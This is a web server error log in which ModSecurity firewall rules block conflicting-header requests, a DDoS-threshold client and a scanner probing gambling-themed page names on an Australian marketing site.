[Tue Apr 14 07:04:21.358683 2026] [:error] [pid 35713:tid 35727] [client 175.6.217.4:35771] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad12da6-hhx6ZepqOSmX1gAAAMs"]
[Tue Apr 14 10:23:30.087492 2026] [:error] [pid 35713:tid 35731] [client 43.157.191.20:49394] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad2lIq6-hhx6ZepqOSkD6QAAAM8"]
[Tue Apr 14 11:09:48.868726 2026] [:error] [pid 35713:tid 35736] [client 170.106.163.48:40680] [client 170.106.163.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad2v_K6-hhx6ZepqOSkZ5wAAANQ"]
[Tue Apr 14 14:25:40.806857 2026] [:error] [pid 18776:tid 18778] [client 14.215.163.132:35661] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad3d5MIjIcAYZxezzAWtTgAAAcA"]
[Tue Apr 14 14:59:47.025465 2026] [:error] [pid 35713:tid 35737] [client 162.62.213.165:56792] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad3l466-hhx6ZepqOSlmOgAAANU"]
[Tue Apr 14 16:34:05.123023 2026] [:error] [pid 60074:tid 60099] [client 34.85.144.184:51475] [client 34.85.144.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.144.184, counter = 8"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad37_etqnEmNU9vpHCkSQwAAANc"]
[Tue Apr 14 16:34:05.564852 2026] [:error] [pid 60074:tid 60082] [client 34.85.144.184:58849] [client 34.85.144.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.144.184, counter = 8"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad37_etqnEmNU9vpHCkSRwAAAMY"]
[Tue Apr 14 16:34:05.996534 2026] [:error] [pid 59985:tid 59998] [client 34.85.144.184:53551] [client 34.85.144.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.144.184, counter = 8"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ad37_egHaxkvLE6V1kkj-QAAAAU"]
[Tue Apr 14 20:09:34.748500 2026] [:error] [pid 60074:tid 60083] [client 43.156.156.96:52226] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad4ufutqnEmNU9vpHCmK0QAAAMc"]
[Tue Apr 14 20:11:18.168359 2026] [:error] [pid 3778:tid 3784] [client 54.36.60.91:58206] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ad4u5hx5DfpNmYF_PaHSkAAAAUQ"]
[Tue Apr 14 20:11:20.532124 2026] [:error] [pid 59987:tid 60053] [client 54.36.60.91:44138] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ad4u6FWpk-Tfi6_vLKol-QAAAIY"]
[Tue Apr 14 20:11:22.961752 2026] [:error] [pid 22177:tid 22188] [client 54.36.60.91:44148] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ad4u6oTVeJSXHDIlEDt6LAAAAQk"]
[Tue Apr 14 20:11:25.437227 2026] [:error] [pid 59986:tid 60039] [client 54.36.60.91:43520] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ad4u7Z6axKeW6bX4H7dQtwAAAFM"]
[Tue Apr 14 20:11:27.734423 2026] [:error] [pid 59985:tid 60012] [client 54.36.60.91:43532] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ad4u7-gHaxkvLE6V1klYAwAAABM"]
[Tue Apr 14 20:11:30.044577 2026] [:error] [pid 22177:tid 22187] [client 54.36.60.91:43538] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ad4u8oTVeJSXHDIlEDt6NAAAAQg"]
[Tue Apr 14 20:11:32.474420 2026] [:error] [pid 22177:tid 22180] [client 54.36.60.91:43554] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ad4u9ITVeJSXHDIlEDt6OQAAAQE"]
[Tue Apr 14 20:11:34.912753 2026] [:error] [pid 59986:tid 60020] [client 54.36.60.91:36426] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ad4u9p6axKeW6bX4H7dQvgAAAEA"]
[Tue Apr 14 20:11:37.483122 2026] [:error] [pid 22177:tid 22186] [client 54.36.60.91:36438] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ad4u-YTVeJSXHDIlEDt6OwAAAQc"]
[Tue Apr 14 20:11:39.987756 2026] [:error] [pid 22177:tid 22203] [client 54.36.60.91:36440] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ad4u-4TVeJSXHDIlEDt6PwAAARg"]
[Tue Apr 14 20:11:42.509861 2026] [:error] [pid 59986:tid 60031] [client 54.36.60.91:36454] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ad4u_p6axKeW6bX4H7dQwwAAAEs"]
[Tue Apr 14 20:11:44.990715 2026] [:error] [pid 3810:tid 3823] [client 54.36.60.91:56950] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ad4vAMqc5XaYZhFXVGeDiwAAAYo"]
[Tue Apr 14 20:11:47.490503 2026] [:error] [pid 3778:tid 3786] [client 54.36.60.91:56962] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ad4vAxx5DfpNmYF_PaHSxAAAAUY"]
[Tue Apr 14 20:11:49.997414 2026] [:error] [pid 59987:tid 60061] [client 54.36.60.91:56974] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ad4vBVWpk-Tfi6_vLKomOAAAAI4"]
[Tue Apr 14 20:11:52.500295 2026] [:error] [pid 59987:tid 60064] [client 54.36.60.91:56988] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "ad4vCFWpk-Tfi6_vLKomRwAAAJE"]
[Tue Apr 14 20:11:54.986567 2026] [:error] [pid 60074:tid 60100] [client 54.36.60.91:58670] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ad4vCutqnEmNU9vpHCmLhQAAANg"]
[Tue Apr 14 20:11:57.491964 2026] [:error] [pid 59985:tid 60016] [client 54.36.60.91:58680] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ad4vDegHaxkvLE6V1klYGwAAABc"]
[Tue Apr 14 20:12:00.011923 2026] [:error] [pid 3810:tid 3813] [client 54.36.60.91:58690] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ad4vEMqc5XaYZhFXVGeDmAAAAYA"]
[Tue Apr 14 20:12:02.499517 2026] [:error] [pid 3810:tid 3829] [client 54.36.60.91:58706] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ad4vEsqc5XaYZhFXVGeDoAAAAZA"]
[Tue Apr 14 20:12:04.979659 2026] [:error] [pid 59985:tid 60014] [client 54.36.60.91:35548] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ad4vFOgHaxkvLE6V1klYHgAAABU"]
[Tue Apr 14 20:12:07.337546 2026] [:error] [pid 60074:tid 60077] [client 54.36.60.91:35556] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ad4vF-tqnEmNU9vpHCmLoAAAAME"]
[Tue Apr 14 20:12:09.799209 2026] [:error] [pid 3778:tid 3796] [client 54.36.60.91:35568] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ad4vGRx5DfpNmYF_PaHS_AAAAVA"]
[Tue Apr 14 20:12:12.124264 2026] [:error] [pid 59985:tid 60015] [client 54.36.60.91:35580] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ad4vHOgHaxkvLE6V1klYNQAAABY"]
[Tue Apr 14 20:12:14.622322 2026] [:error] [pid 60074:tid 60083] [client 54.36.60.91:54516] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ad4vHutqnEmNU9vpHCmLrQAAAMc"]
[Tue Apr 14 20:12:35.692799 2026] [:error] [pid 3810:tid 3829] [client 54.36.60.91:54532] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ad4vM8qc5XaYZhFXVGeD5wAAAZA"]
[Tue Apr 14 20:12:38.124153 2026] [:error] [pid 22177:tid 22180] [client 54.36.60.91:44998] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ad4vNoTVeJSXHDIlEDt6eAAAAQE"]
[Tue Apr 14 20:44:24.562553 2026] [:error] [pid 59986:tid 60033] [client 42.200.231.39:3916] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ad42qJ6axKeW6bX4H7dlUAAAAE0"]
[Tue Apr 14 20:44:25.110767 2026] [:error] [pid 59986:tid 60030] [client 42.200.231.39:26856] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ad42qZ6axKeW6bX4H7dlVAAAAEo"]
[Tue Apr 14 20:44:25.657973 2026] [:error] [pid 59986:tid 60028] [client 42.200.231.39:59578] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ad42qZ6axKeW6bX4H7dlVgAAAEg"]
[Tue Apr 14 20:44:28.474878 2026] [:error] [pid 3810:tid 3821] [client 42.200.231.39:28523] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ad42rMqc5XaYZhFXVGeSVAAAAYg"]
[Tue Apr 14 20:44:29.026951 2026] [:error] [pid 22177:tid 22192] [client 42.200.231.39:35297] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ad42rYTVeJSXHDIlEDuAYQAAAQ0"]
[Tue Apr 14 20:44:31.098035 2026] [:error] [pid 59986:tid 60035] [client 42.200.231.39:34216] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ad42r56axKeW6bX4H7dlXwAAAE8"]
[Tue Apr 14 20:44:31.615945 2026] [:error] [pid 59987:tid 60066] [client 42.200.231.39:8869] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ad42r1Wpk-Tfi6_vLKouigAAAJM"]
[Tue Apr 14 20:44:34.592297 2026] [:error] [pid 22177:tid 22190] [client 42.200.231.39:6001] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "ad42soTVeJSXHDIlEDuAZAAAAQs"]
[Tue Apr 14 20:44:35.118728 2026] [:error] [pid 59986:tid 60028] [client 42.200.231.39:43994] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "ad42s56axKeW6bX4H7dlbQAAAEg"]
[Tue Apr 14 20:44:37.457597 2026] [:error] [pid 59986:tid 60041] [client 42.200.231.39:17036] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ad42tZ6axKeW6bX4H7dldQAAAFU"]
[Tue Apr 14 20:44:37.985731 2026] [:error] [pid 3810:tid 3822] [client 42.200.231.39:48726] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ad42tcqc5XaYZhFXVGeSZAAAAYk"]
[Tue Apr 14 20:44:40.229883 2026] [:error] [pid 59986:tid 60030] [client 42.200.231.39:22140] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ad42uJ6axKeW6bX4H7dlfAAAAEo"]
[Tue Apr 14 20:44:40.769014 2026] [:error] [pid 59986:tid 60027] [client 42.200.231.39:17386] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ad42uJ6axKeW6bX4H7dlfwAAAEc"]
[Tue Apr 14 20:44:42.925835 2026] [:error] [pid 3810:tid 3820] [client 42.200.231.39:32403] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ad42usqc5XaYZhFXVGeSawAAAYc"]
[Tue Apr 14 20:44:43.451830 2026] [:error] [pid 59986:tid 60021] [client 42.200.231.39:18513] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ad42u56axKeW6bX4H7dlhAAAAEE"]
[Tue Apr 14 20:44:45.600522 2026] [:error] [pid 59987:tid 60059] [client 42.200.231.39:14549] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ad42vVWpk-Tfi6_vLKoumAAAAIw"]
[Tue Apr 14 20:44:46.122979 2026] [:error] [pid 22177:tid 22187] [client 42.200.231.39:34407] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ad42voTVeJSXHDIlEDuAbAAAAQg"]
